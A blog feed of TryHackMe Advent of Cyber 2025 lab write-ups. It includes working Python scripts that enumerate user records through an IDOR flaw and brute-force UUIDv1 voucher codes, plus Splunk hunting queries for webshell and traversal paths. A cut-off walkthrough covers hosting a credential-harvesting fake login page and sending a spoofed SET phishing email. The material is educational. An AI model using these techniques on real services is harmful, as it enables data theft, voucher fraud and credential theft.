Day-06 + Bonus"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 05\nTitle: IDOR - Santa\u0026rsquo;s Little IDOR\nBonus: Bonus Tasks 1 and 2 Description\nLearn about IDOR while helping pentest the TrypresentMe website.\nSummary\nWe discover and exploit an IDOR flaw in the TryPresentMe website, using the vulnerable endpoint to retrieve sensitive information.\nFor the bonus tasks on Day 05, we first search for the id_number of a child born on a specified date using two approaches: Burp\u0026rsquo;s Intruder and a custom Python script. In the second part, we identify a valid voucher code generated within a specified time window using a custom Python UUID generation script and verify those UUIDs with an automated script.\nStoryline\nElves in Wareville are on alert after McSkidy\u0026rsquo;s disappearance. Parents cannot activate TryPresentMe vouchers and are receiving targeted phishing emails with nonpublic data. The support team, aided by TBFC staff, found a suspicious Sir Carrotbane account loaded with vouchers, deleted it, and recovered the vouchers. They suspect deeper vulnerabilities in the TryPresentMe site and request TBFC\u0026rsquo;s investigation and remediation.\nIDOR on the Shelf IDOR (Insecure Direct Object Reference) is an access control flaw wherein a web application permits users to specify an object identifier (for example, packageID=1001) without verifying ownership.\nBecause IDs are often sequential, attackers can modify the value (for example, to 22 or 23) and retrieve other users\u0026rsquo; data \u0026ndash; horizontal privilege escalation. Hiding or encoding the ID (for example, using a hash) does not remedy the issue; the core problem is missing authorization checks.\nProper mitigation requires the following:\nEnforcing authentication for every request (session tokens or cookies) Validating that the authenticated user is authorized to access the requested object Implementing robust authorization logic rather than relying on obscured IDs Example:\n/* URL: https://awesome.website.thm/TrackPackage?packageID=1001 */ -- Backend Query: SELECT person, address, status FROM Packages WHERE packageID = value; The example shows a simple SQL query that returns personal details for any package ID, illustrating why IDOR is dangerous and how it relates to broader concepts of authentication, authorization, and privilege escalation.\nQuestions and Answers Question-1: What does IDOR stand for?\nInsecure Direct Object Reference\nQuestion-2: What type of privilege escalation are most IDOR cases?\nHorizontal\nQuestion-3: Exploiting the IDOR found in the view_accounts parameter, what is the user_id of the parent that has 10 children?\n15\nQuestion-4: If you enjoyed today\u0026rsquo;s room, check out our complete IDOR room!\nNo answer needed\nBonus Task 1 Bonus-Task-1: If you want to dive even deeper, use either the base64 or md5 child endpoint and try to find the id_number of the child born on 2019-04-17?\nTo make the iteration faster, consider using something like Burp\u0026rsquo;s Intruder. If you want to check your answer, click the hint on the question.\n19\nTo accomplish this task, we first intercept an authenticated request using Burp Suite. We then copy the request and session cookie to use in a Python script that iterates over the id_number parameter.\n# ~ brute_user-id-param.py import requests def generate_http_request(user_id): # Define the base URL base_url = \u0026#34;http://10.80.149.28/api/parents/view_accountinfo\u0026#34; # Define headers headers = { \u0026#34;Host\u0026#34;: \u0026#34;10.80.149.28\u0026#34;, \u0026#34;Authorization\u0026#34;: \u0026#34;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEwLCJyb2xlIjoxLCJleHAiOjE3NjYzMzUzMzd9.l6KkNWa5bJyTC_6Z6mzQSvLx3DRKedRexKUyFzA4m78\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-GB,en;q=0.9\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://10.80.149.28/\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate, br\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;keep-alive\u0026#34; } # Parameters params = { \u0026#34;user_id\u0026#34;: user_id } try: # Send GET request response = requests.get(base_url, headers=headers, params=params) # Print request details print(f\u0026#34;Request for user_id {user_id}:\u0026#34;) print(f\u0026#34;Status Code: {response.status_code}\u0026#34;) print(f\u0026#34;Response Headers: {response.headers}\u0026#34;) print(f\u0026#34;Response Content: {response.text}\\n\u0026#34;) return response except requests.RequestException as e: print(f\u0026#34;Error making request for user_id {user_id}: {e}\u0026#34;) return None # Iterate through user IDs from 1 to 20 def main(): for user_id in range(1, 21): generate_http_request(user_id) if __name__ == \u0026#34;__main__\u0026#34;: main() We iterate through IDs 1 to 20, saving the responses to a file named user-param-enum_responses.txt.\nuser@kali:~$ python3 brute_user-id-param.py \u003e user-param-enum_responses.txt user@kali:~$ We then filter the results for the specified date (2019-04-17).\nuser@kali:~$ cat user-param-enum_responses.txt | grep 2019-04-17 Response Content: {\"user_id\":15,\"username\":\"sirBreedsAlot\",\"email\":\"sirBreedsAlot@10children.thm\",\"firstname\":\"Breeds\",\"lastname\":\"Alot\",\"id_number\":\"456789123\",\"address1\":\"Candyroad 5\",\"address2\":\"\",\"city\":\"hareville\",\"state\":\"\",\"postal_code\":\"6988\",\"country\":\"HopSec Island\",\"children\":[{\"child_id\":11,\"id_number\":\"HR001\",\"first_name\":\"Thistle\",\"last_name\":\"Alot\",\"birthdate\":\"2015-03-14\"},{\"child_id\":12,\"id_number\":\"HR002\",\"first_name\":\"Bramble\",\"last_name\":\"Alot\",\"birthdate\":\"2013-11-22\"},{\"child_id\":13,\"id_number\":\"HR003\",\"first_name\":\"Clover\",\"last_name\":\"Alot\",\"birthdate\":\"2016-06-05\"},{\"child_id\":14,\"id_number\":\"HR004\",\"first_name\":\"Hazel\",\"last_name\":\"Alot\",\"birthdate\":\"2012-09-19\"},{\"child_id\":15,\"id_number\":\"HR005\",\"first_name\":\"Lupin\",\"last_name\":\"Alot\",\"birthdate\":\"2018-01-07\"},{\"child_id\":16,\"id_number\":\"HR006\",\"first_name\":\"Poppy\",\"last_name\":\"Alot\",\"birthdate\":\"2014-05-28\"},{\"child_id\":17,\"id_number\":\"HR007\",\"first_name\":\"Rowan\",\"last_name\":\"Alot\",\"birthdate\":\"2017-12-02\"},{\"child_id\":18,\"id_number\":\"HR008\",\"first_name\":\"Sorrel\",\"last_name\":\"Alot\",\"birthdate\":\"2011-08-30\"},{\"child_id\":19,\"id_number\":\"HR009\",\"first_name\":\"Willow\",\"last_name\":\"Alot\",\"birthdate\":\"2019-04-17\"},{\"child_id\":20,\"id_number\":\"HR010\",\"first_name\":\"Bracken\",\"last_name\":\"Alot\",\"birthdate\":\"2010-10-11\"}]} ... user@kali:~$ Alternatively, we can solve this task by intercepting an authenticated request in Burp Suite, sending it to Intruder, and iterating over the user_id parameter. We configure the attack as follows:\nAdding user_id=§10§ as a position (see #2 in figure 1) Specifying the payload type \u0026lsquo;Numbers\u0026rsquo; (see #3 in figure 1) Setting the Number range to sequential from 1 to 100 with a step value of 1 (see #4 in figure 1) Figure 1: Burp Suite Intruder positions configured for user ID enumeration\nOnce configured, we launch the attack and examine the responses for the specified birthdate.\nThe match appears in the fifteenth request (see #1 in figure 2), revealing the child with \u0026quot;child_id\u0026quot;:19 (see #2 in figure 2).\nFigure 2: Intruder attack results revealing the target user data\nBonus Task 2 Bonus-Task-2: Want to go even further? Using the /parents/vouchers/claim endpoint, find the voucher that is valid on 20 November 2025.\nInsider information tells you that the voucher was generated exactly on the minute somewhere between 20:00 - 24:00 UTC that day. What is the voucher code? If you want to check your answer, click the hint on the question.\n22643e00-c655-11f0-ac99-026ccdf7d769\nWe begin by analyzing the available information:\nTime Range: 2025-11-20 20:00–24:00 (UTC), exactly on the minute (2025-11-20_20:00:00, 2025-11-20_20:01:00, 2025-11-20_20:02:00, etc.)\nUUIDs are version 1, generated by the same system.\nUsing the example UUID generated by the target system, 37f0010f-a489-11f0-ac99-026ccdf7d769:\n37f0010f-a489-11f0 \u0026ndash; timestamp (~2025-10-08 20:56:10.443598.3 UTC) plus version 1\nNo need to change the version, but we must adjust the time range. ac99 \u0026ndash; Composed of two bytes: Clock Sequence + Variant\nClock sequence is a random number but remains constant between generations. Variant remains unchanged. 026ccdf7d769 \u0026ndash; Node value (MAC address): remains constant on the same system.\nIn summary, we iterate over two dynamic parts:\nTime range: one-minute increments across the four-hour window Clock sequence, randomly generated for each UUID generation session To narrow the scope, we iterate only over clock sequences already generated by the target system.\nWe collect all sequences displayed by the site: ac99, 93d8, ab3a, 8acc, 889c, 96e7, be28, b7e8, b231, bb84, and 8ad2.\nWe create a script to generate the UUIDs:\n# ~ gen_uuids.py import datetime import uuid # ------------------------------------------------- # Fixed parameters that stay the same for the whole run # ------------------------------------------------- # FIXED 48-bit node - fixed MAC address - same system (MAC=02:6c:cd:f7:d7:69) NODE = bytes.fromhex(\u0026#39;026ccdf7d769\u0026#39;) # UUID epoch offset (Gregorian 1582-10-15 → Unix 1970-01-01) EPOCH_OFFSET = 0x01B21DD213814000 # ------------------------------------------------- # Time window: 20:00-23:59 on 20 Nov 2025 (UTC) = 4 hour window # ------------------------------------------------- START = datetime.datetime(2025, 11, 20, 20, 0, tzinfo=datetime.timezone.utc) MINUTES = 4 * 60 # ------------------------------------------------- # Previously generated fourth-block values - the clock sequences with the fixed variant # ------------------------------------------------- FOURTH_BLOCKS = [\u0026#39;ac99\u0026#39;, \u0026#39;93d8\u0026#39;, \u0026#39;ab3a\u0026#39;, \u0026#39;8acc\u0026#39;, \u0026#39;889c\u0026#39;,\u0026#39;96e7\u0026#39;, \u0026#39;be28\u0026#39;, \u0026#39;b7e8\u0026#39;, \u0026#39;b231\u0026#39;, \u0026#39;bb84\u0026#39;,\u0026#39;8ad2\u0026#39;] def make_uuid(minute_index: int, fourth_block: str) -\u0026gt; uuid.UUID: \u0026#34;\u0026#34;\u0026#34; Build a UUID v1 for the given minute offset and a forced fourth block. The fourth block already contains the variant bits (the leading \u0026#34;10\u0026#34;). \u0026#34;\u0026#34;\u0026#34; # ----- timestamp (100-ns units) ----- unix_sec = int((START + datetime.timedelta(minutes=minute_index)).timestamp()) # exact minute → no sub-tick ts_100ns = unix_sec * 10_000_000 + EPOCH_OFFSET # ----- split timestamp into the three time fields ----- time_low = ts_100ns \u0026amp; 0xffffffff time_mid = (ts_100ns \u0026gt;\u0026gt; 32) \u0026amp; 0xffff time_hi = (ts_100ns \u0026gt;\u0026gt; 48) \u0026amp; 0x0fff # set version = 1 (SAME as the one used by the system) time_hi_and_version = time_hi | (1 \u0026lt;\u0026lt; 12) # ----- fourth block (already includes variant) ----- # Convert the 4-hex-digit string to two bytes fourth_bytes = bytes.fromhex(fourth_block) # ----- assemble the 16-byte UUID ----- raw = ( time_low.to_bytes(4, \u0026#39;big\u0026#39;) + time_mid.to_bytes(2, \u0026#39;big\u0026#39;) + time_hi_and_version.to_bytes(2, \u0026#39;big\u0026#39;) + fourth_bytes + NODE ) return uuid.UUID(bytes=raw) # ------------------------------------------------- # Generate the UUIDs # ------------------------------------------------- for minute in range(MINUTES): for block in FOURTH_BLOCKS: print(make_uuid(minute, block)) We test the script to verify it functions correctly:\nuser@kali:~$ python3 gen_uuids.py 7ec26000-c64b-11f0-ac99-026ccdf7d769 7ec26000-c64b-11f0-93d8-026ccdf7d769 7ec26000-c64b-11f0-ab3a-026ccdf7d769 ... user@kali:~$ We then export the generated UUIDs (2,640 total) to a text file:\nuser@kali:~$ python3 gen_uuids.py \u003e uuids.txt user@kali:~$ cat uuids.txt| wc -l 2640 user@kali:~$ Finally, we import this UUID set into Burp Suite to brute-force their validity against the API endpoint \u0026ndash; /api/parents/vouchers/claim. First, we create a test voucher request:\nFigure 3: Initiating a test voucher claim request\nWe intercept this request in Burp Suite and send it to Intruder. Note the following relevant fields:\n#1: API endpoint #2: Request data (populated with sample data) #3: Response text Figure 4: Intercepted HTTP request details for the voucher claim endpoint\nOnce in Intruder:\nWe set the attack type to Sniper attack We specify the iteration value \u0026ndash; the test-voucher-code sample data \u0026ndash; and add it to positions: §test-voucher-code§ We load our payload (the generated UUID list) via Payloads \u0026gt; Payload configuration \u0026gt; Load\u0026hellip;, selecting the uuids.txt file We then run the attack by clicking Start attack.\nFigure 5: Burp Suite Intruder configured for UUID-based voucher enumeration\nWe wait for a response with status code 200 rather than 404, which indicates \u0026ldquo;Voucher not found.\u0026rdquo;\nUnfortunately, because the free version of Burp Suite is heavily rate-limited, we find nothing even after running the attack for more than ten minutes.\nWe pivot to a new approach, performing the enumeration manually via a Python script. We use the same HTTP request headers and body from Burp Suite, along with the same set of pre-generated UUIDs:\n# ~ verify-uuids.py import requests import json def send_voucher_claim_request(voucher_code): \u0026#34;\u0026#34;\u0026#34; Send a POST request to claim a voucher \u0026#34;\u0026#34;\u0026#34; # Request configuration url = \u0026#39;http://10.80.149.28/api/parents/vouchers/claim\u0026#39; # Headers from the original request headers = { \u0026#39;Host\u0026#39;: \u0026#39;10.80.149.28\u0026#39;, \u0026#39;Authorization\u0026#39;: \u0026#39;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEwLCJyb2xlIjoxLCJleHAiOjE3NjYzNTAwNDd9.cbC4HZ4Z2qMH8J9FjUZ8ZkCdz66CeO2q1RGyFRa6YYI\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;en-GB,en;q=0.9\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;*/*\u0026#39;, \u0026#39;Origin\u0026#39;: \u0026#39;http://10.80.149.28\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;http://10.80.149.28/\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate, br\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;keep-alive\u0026#39; } # Request payload payload = { \u0026#39;code\u0026#39;: voucher_code } try: # Send POST request response = requests.post( url, headers=headers, data=json.dumps(payload), timeout=10 # Add a timeout to prevent hanging ) # Return response details return { \u0026#39;code\u0026#39;: voucher_code, \u0026#39;status_code\u0026#39;: response.status_code, \u0026#39;response_text\u0026#39;: response.text } except requests.RequestException as e: # Handle network-related errors return { \u0026#39;code\u0026#39;: voucher_code, \u0026#39;error\u0026#39;: str(e) } def main(): # File path for UUIDs uuid_file = \u0026#39;uuids.txt\u0026#39; # Results storage results = [] # Read UUIDs from file try: with open(uuid_file, \u0026#39;r\u0026#39;) as file: uuids = [line.strip() for line in file if line.strip()] except FileNotFoundError: print(f\u0026#34;Error: File {uuid_file} not found.\u0026#34;) return # Process UUIDs for voucher_code in uuids: # Send request and store result result = send_voucher_claim_request(voucher_code) results.append(result) # Print result for each UUID if \u0026#39;error\u0026#39; in result: print(f\u0026#34;Error for {result[\u0026#39;code\u0026#39;]}: {result[\u0026#39;error\u0026#39;]}\u0026#34;) else: print(f\u0026#34;UUID: {result[\u0026#39;code\u0026#39;]}, Status: {result[\u0026#39;status_code\u0026#39;]}\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() Once prepared, we run the script. It completes in only a few minutes and identifies a valid voucher UUID:\nuser@kali:~$ python verify-uuids.py UUID: 7ec26000-c64b-11f0-ac99-026ccdf7d769, Status: 404 ... UUID: fea0f800-c654-11f0-8ad2-026ccdf7d769, Status: 404 UUID: 22643e00-c655-11f0-ac99-026ccdf7d769, Status: 200 UUID: 22643e00-c655-11f0-93d8-026ccdf7d769, Status: 404 UUID: 22643e00-c655-11f0-ab3a-026ccdf7d769, Status: 404 ... user@kali:~$ ","permalink":"https://onebee.blog/blog/thm/aoc25/day-05/","summary":"TryHackMe | Advent of Cyber 2025 | Day 05: IDOR - Santa\u0026rsquo;s Little IDOR + Bonus Tasks","title":"AOC25 | Day-05 + Bonus"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 04\nTitle: AI in Security - old sAInt nick Description\nUnleash the power of AI by exploring its uses within cyber security.\nSummary\nHere we examine AI applications in cybersecurity \u0026ndash; defensive, offensive, and software-security use cases \u0026ndash; and then employ an AI assistant to detect and remediate vulnerabilities.\nStoryline\nTBFC\u0026rsquo;s new AI cyber-security assistant, Van SolveIT, replaces the underperforming Van Chatty to boost elf productivity. It will be used before the holidays to detect, verify, and remediate vulnerabilities across defensive, offensive, and software domains.\nAI for Cyber Security Showcase AI assistants are transforming cybersecurity by automating labor-intensive tasks across three primary domains.\nDefensive Security In defensive operations, AI enables real-time telemetry analysis, contextual alerting, and automatic isolation or blocking of threats. These capabilities reduce response times and allow security teams to focus on strategic analysis rather than routine monitoring.\nOffensive Security For offensive operations, AI accelerates open-source intelligence (OSINT) gathering, parses scanner output efficiently, and maps attack surfaces to streamline penetration testing workflows.\nSoftware Security AI-driven static and dynamic application security testing (SAST/DAST) scanners identify code flaws with greater speed than manual review. Note, however, that current AI systems remain less effective at writing secure code from scratch than at detecting existing vulnerabilities.\nImportant Considerations AI outputs are not infallible. Security practitioners must verify results, respect intellectual property and data ownership, guard training data and model integrity, and avoid unintended disruptions when deploying AI-assisted tools.\nQuestions and Answers Question-1: Complete the AI showcase by progressing through all of the stages. What is the flag presented to you?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-2: Execute the exploit provided by the red team agent against the vulnerable web application hosted at \u0026lt;targetbox-ip\u0026gt;:5000. What flag is provided in the script\u0026rsquo;s output after it?\nRemember, you will need to update the IP address placeholder in the script with the IP of your vulnerable machine (\u0026lt;targetbox-ip\u0026gt;:5000)\n\u0026lt;redacted-flag\u0026gt;\nQuestion-3: If you enjoyed today\u0026rsquo;s room, feel free to check out the Defending Adversarial Attacks room, where you will learn how to harden and secure AI models.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-04/","summary":"TryHackMe | Advent of Cyber 2025 | Day 04: AI in Security - old sAInt nick","title":"AOC25 | Day-04"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 03\nTitle: Splunk Basics - Did you SIEM? Description\nLearn how to ingest and parse custom log data using Splunk.\nSummary\nFirst we write SPL queries to ingest web and firewall log data, pinpoint the malicious IP address, and trace the stages of reconnaissance, exploitation, and data exfiltration.\nStoryline\nThe Best Festival Company (TBFC) is preparing for a Christmas event in Wareville when a ransomware alert appears on their SOC dashboard, demanding 1,000 HopSec Coins from King Malhare of HopSec Island. Malhare\u0026rsquo;s Bandit Bunnies aim to hijack TBFC\u0026rsquo;s systems and replace Christmas with EAST-mas.\nThe SOC team will use Splunk to trace the ransomware entry, extract custom fields, apply SPL queries, and investigate the incident to protect the holiday celebration.\nLog Analysis with Splunk Search Queries We use the Splunk Search Processing Language (SPL) to analyze the ingested logs.\nDatasets web_traffic: Events related to web connections. firewall_logs: Firewall logs (allowed or blocked traffic). Exploring the Logs To show all ingested logs:\nindex=main Initial Triage To view all web traffic:\nindex=main sourcetype=web_traffic To visualize the log timeline and chart the total event count over time:\nindex=main sourcetype=web_traffic | timechart span=1d count To sort by count in reverse order:\nindex=main sourcetype=web_traffic | timechart span=1d count | sort by count | reverse Anomaly Detection: Filtering Out Benign Values We exclude common legitimate user agents to reveal suspicious activity:\nindex=main sourcetype=web_traffic user_agent!=*Mozilla* user_agent!=*Chrome* user_agent!=*Safari* user_agent!=*Firefox* We then narrow down by IP address:\nsourcetype=web_traffic user_agent!=*Mozilla* user_agent!=*Chrome* user_agent!=*Safari* user_agent!=*Firefox* | stats count by client_ip | sort -count | head 5 Note that we sort results in reverse order using sort -count.\nTracing the Attack Chain We check for targeted paths:\nsourcetype=web_traffic client_ip=\u0026#34;\u0026lt;redacted-client-ip\u0026gt;\u0026#34; AND path IN (\u0026#34;/.env\u0026#34;, \u0026#34;/*phpinfo*\u0026#34;, \u0026#34;/.git*\u0026#34;) | table _time, path, user_agent, status Enumeration: Vulnerability Testing We search for common path traversal and open redirect vulnerabilities:\nsourcetype=web_traffic client_ip=\u0026#34;\u0026lt;redacted-client-ip\u0026gt;\u0026#34; AND path=\u0026#34;*..*\u0026#34; OR path=\u0026#34;*redirect*\u0026#34; We drill down on path traversal attempts (escaping the slash characters with ..\\/..\\/):\nsourcetype=web_traffic client_ip=\u0026#34;\u0026lt;redacted-client-ip\u0026gt;\u0026#34; AND path=\u0026#34;*..\\/..\\/*\u0026#34; OR path=\u0026#34;*redirect*\u0026#34; | stats count by path SQL Injection Attack We check for automated attack tools:\nsourcetype=web_traffic client_ip=\u0026#34;\u0026lt;redacted-client-ip\u0026gt;\u0026#34; AND user_agent IN (\u0026#34;*sqlmap*\u0026#34;, \u0026#34;*Havij*\u0026#34;) | table _time, path, status Exfiltration Attempts We look for large downloads and sensitive file downloads using tools such as curl and zgrab:\nsourcetype=web_traffic client_ip=\u0026#34;\u0026lt;redacted-client-ip\u0026gt;\u0026#34; AND path IN (\u0026#34;*backup.zip*\u0026#34;, \u0026#34;*logs.tar.gz*\u0026#34;) | table _time path, user_agent Ransomware Staging and RCE We search for requests for sensitive archives such as /logs.tar.gz or /config:\nsourcetype=web_traffic client_ip=\u0026#34;\u0026lt;redacted-client-ip\u0026gt;\u0026#34; AND path IN (\u0026#34;*bunnylock.bin*\u0026#34;, \u0026#34;*shell.php?cmd=*\u0026#34;) | table _time, path, user_agent, status Correlate Outbound C2 Communication We filter firewall logs for the attacker IP:\nsourcetype=firewall_logs src_ip=\u0026#34;10.10.1.5\u0026#34; AND dest_ip=\u0026#34;\u0026lt;redacted-dest-ip\u0026gt;\u0026#34; AND action=\u0026#34;ALLOWED\u0026#34; | table _time, action, protocol, src_ip, dest_ip, dest_port, reason Volume of Data Exfiltrated We calculate the sum of the bytes transferred:\nsourcetype=firewall_logs src_ip=\u0026#34;10.10.1.5\u0026#34; AND dest_ip=\u0026#34;\u0026lt;redacted-dest-ip\u0026gt;\u0026#34; AND action=\u0026#34;ALLOWED\u0026#34; | stats sum(bytes_transferred) by src_ip Summary Attacker identified by the highest volume of malicious web traffic from a single external IP. Intrusion vector traced through web logs \u0026ndash; sourcetype=web_traffic \u0026ndash; showing a clear attack progression. Reconnaissance used cURL/Wget to probe for configuration files \u0026ndash; /.env \u0026ndash; and test path-traversal flaws. Exploitation confirmed by SQLmap user agents and payloads such as SLEEP(5). Payload delivery culminated in executing cmd=./bunnylock.bin via a webshell. C2 activity verified in firewall logs \u0026ndash; sourcetype=firewall_logs: compromised server opened an outbound C2 connection to the attacker\u0026rsquo;s IP. Questions and Answers Question-1: What is the attacker IP found attacking and compromising the web server?\n198.51.100.55\nQuestion-2: Which day was the peak traffic in the logs? (Format: YYYY-MM-DD)\n2025-10-12\nQuestion-3: What is the count of Havij user_agent events found in the logs?\n993\nQuestion-4: How many path traversal attempts to access sensitive files on the server were observed?\n658\nQuestion-5: Examine the firewall logs. How many bytes were transferred to the C2 server IP from the compromised web server?\n126167\nQuestion-6: If you enjoyed today\u0026rsquo;s room, check out the Incident Handling With Splunk room to learn more about analyzing logs with Splunk.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-03/","summary":"TryHackMe | Advent of Cyber 2025 | Day 03: Splunk Basics - Did you SIEM?","title":"AOC25 | Day-03"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 02\nTitle: Phishing - Merry Clickmas Description\nLearn how to use the Social-Engineer Toolkit to send phishing emails.\nSummary\nIn this room we join the TBFC red team and launch a Python server that hosts a fake login page to capture credentials. Using SET (Social-Engineer Toolkit) we craft a spoofed email pointing to our fake login page.\nThe victim clicks, submits credentials, and we log the username‑password pair, then reuse it to access the real TBFC portal as factory. Finally, we terminate the server and clean up.\nStoryline\nIn this task, you will be part of the TBFC local red team with the elves Recon McRed, Exploit McRed, and Pivot McRed. You will help them plan and execute their phishing campaign.\nTheory Here, we define social engineering as manipulative tactics that exploit human psychology \u0026ndash; such as urgency, curiosity, and authority \u0026ndash; to trick users into actions like revealing passwords or approving payments.\nWe then narrow our focus to phishing, a common form of social engineering that uses messages (email, SMS, calls, QR codes, etc.) to lure victims into clicking links or providing information, and describe TBFC\u0026rsquo;s anti‑phishing training with two S.T.O.P. mnemonics for spotting suspicious communications.\nThe first S.T.O.P. mnemonic asks:\nSuspicious? Telling me to click something? Offering me an amazing deal? Pushing me to do something now? The second S.T.O.P. mnemonic reminds users to:\nSlow down. Scammers run on your adrenaline. Type the address yourself. Do not use the message\u0026rsquo;s links. Open nothing unexpected. Verify first. Prove the sender. Check the real From address or number, not just the display name. Finally, we outline how attackers construct a phishing trap, exemplified by a fake TBFC login page designed to capture a target\u0026rsquo;s credentials.\nPractice Preparation In this task, we aim to acquire the target user\u0026rsquo;s login credentials. Our trap is a fake TBFC portal login page, which we attach to the phishing email and send to the target. However, a login page itself is not enough. We need to host it and implement logic to capture the credentials entered by the target.\nTo facilitate this task, a script server.py was created that, when run, hosts a fake login page. The phony login page captures all credentials entered into the page.\nGiven that we are working with our own Kali instance here, let us grab the task files and transfer them over to our Kali box. We extract the archive and inspect the files:\nuser@kali:~$ ll ... -rw-r--r-- 1 user user 4050 ... day02_task-files.zip ... user@kali:~$ unzip day02_task-files.zip Archive: day02_task-files.zip inflating: index.html inflating: server.py ... user@kali:~$ file * day02_task-files.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified ... uncompressed size 6938, method=deflate index.html: HTML document, Unicode text, UTF-8 text, with very long lines (978) server.py: Python script, ASCII text executable ... user@kali:~$ Serving the Fake Login Page Interestingly enough, there is a flag hidden in the server.py file \u0026ndash; when we open it with mousepad server.py \u0026ndash; even though there are no questions present here. Perhaps an Easter egg? Or leftover from a previous project? Who knows.\n#!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse, os, sys, datetime HOST = \u0026#39;0.0.0.0\u0026#39; PORT = 8000 HERE = os.path.dirname(os.path.abspath(__file__)) CREDS_FILE = os.path.join(HERE, \u0026#39;creds.txt\u0026#39;) FLAG = \u0026#34;THM{\u0026amp;lt;redacted-flag\u0026amp;gt;}\u0026#34; class H(BaseHTTPRequestHandler): def log(self, msg): ... To recap, the idea here is to serve the fake login page, which not only acts as a trap but also captures all entered login information and forwards it to us.\nIn essence, we serve the fake login page from our attack box, craft a phishing email in which we attempt to manipulate the target into clicking the included link (which points to our fake login page), and wait. Once the link is clicked and credentials are entered, we have the target user\u0026rsquo;s login information.\nLet us start serving the fake login page:\nuser@kali:~$ ./server.py Starting server on http://0.0.0.0:8000 It is served on all interfaces, so it is accessible locally via any of the following: http://127.0.0.1:8000/ or http://localhost:8000/.\nAlternatively, it is accessible externally via http://\u0026lt;attack-box-ip\u0026gt;:8000/; this is the link that we want to embed into our phishing email.\nNote: use ip a to check your own IP address. If you are connected via VPN (OpenVPN), your interface is probably called something like tunX, where X represents a number. You can filter for it directly: ip a | grep \u0026quot;inet \u0026quot; | grep \u0026quot;tun\u0026quot;.\nThis is how our fake login page looks:\nFigure 1: Fake TBFC login page served by the Python HTTP server\nLet us keep it running and move to a new terminal.\nCrafting the Phishing Message The next part is crafting the phishing message, so let us launch the Social-Engineer Toolkit (SET).\nNote: it requires elevated privileges, so use sudo if necessary. The first thing you will have to do (if you have not launched the program before) is accept the terms of service.\nuser@kali:~$ sudo setoolkit [sudo] password for user: [-] New set.config.py file generated on: ... [-] Verifying configuration update... [*] Update verified, config timestamp is: ... [*] SET is using the new config, no need to restart ... The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only. ... Do you agree to the terms of service [y/n]: y From the menu, let us select Social-Engineering Attacks by selecting 1, then choose Mass Mailer Attack by typing 5.\nSelect from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set\u003e 1 ... Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu. set\u003e 5 .... Social Engineer Toolkit Mass E-Mailer Given that our current target is a single person, let us choose the first option \u0026ndash; E-Mail Attack Single Email Address by typing 1 \u0026ndash; then type 2 for One-Time Use Email Template.\nset\u003e 5 Social Engineer Toolkit Mass E-Mailer There are two options on the mass e-mailer, the first would be to send an email to one individual person. The second option will allow you to import a list and send it to as many people as you want within that list. What do you want to do: 1. E-Mail Attack Single Email Address 2. E-Mail Attack Mass Mailer 99. Return to main menu. set:mailer\u003e 1 Do you want to use a predefined template or craft a one time email template. 1. Pre-Defined Template 2. One-Time Use Email Template set:phishing\u003e 2 set:phishing\u003e Subject of the email: Phishing E-Mail Details Target Address: factory@wareville.thm Delivery: own server Sending Address (From address): updates@flyingdeer.thm Sending Name (From name): Flying Deer SMTP server: TBFC mail server \u0026ndash; the IP of your target box SMTP port: default (25) Subject: Shipping Schedule Changes Message type: plain Body: Dear elves, Kindly note that there have been significant changes to the shipping schedules due to increased shipping orders. Please confirm the new schedule by visiting http://\u0026lt;attack-box-ip\u0026gt;:8000 Best regards, Flying Deer Let us continue crafting the email as specified. First, we specify the subject; then the message type, which is plain.\nset:phishing\u003e Subject of the email: Shipping Schedule Changes set:phishing\u003e Send the message as html or plain? 'h' or 'p' [p]: p Then we enter the message body. Make sure to use the appropriate link.\n[!] IMPORTANT: When finished, type END (all capital) then hit {return} on a new line. 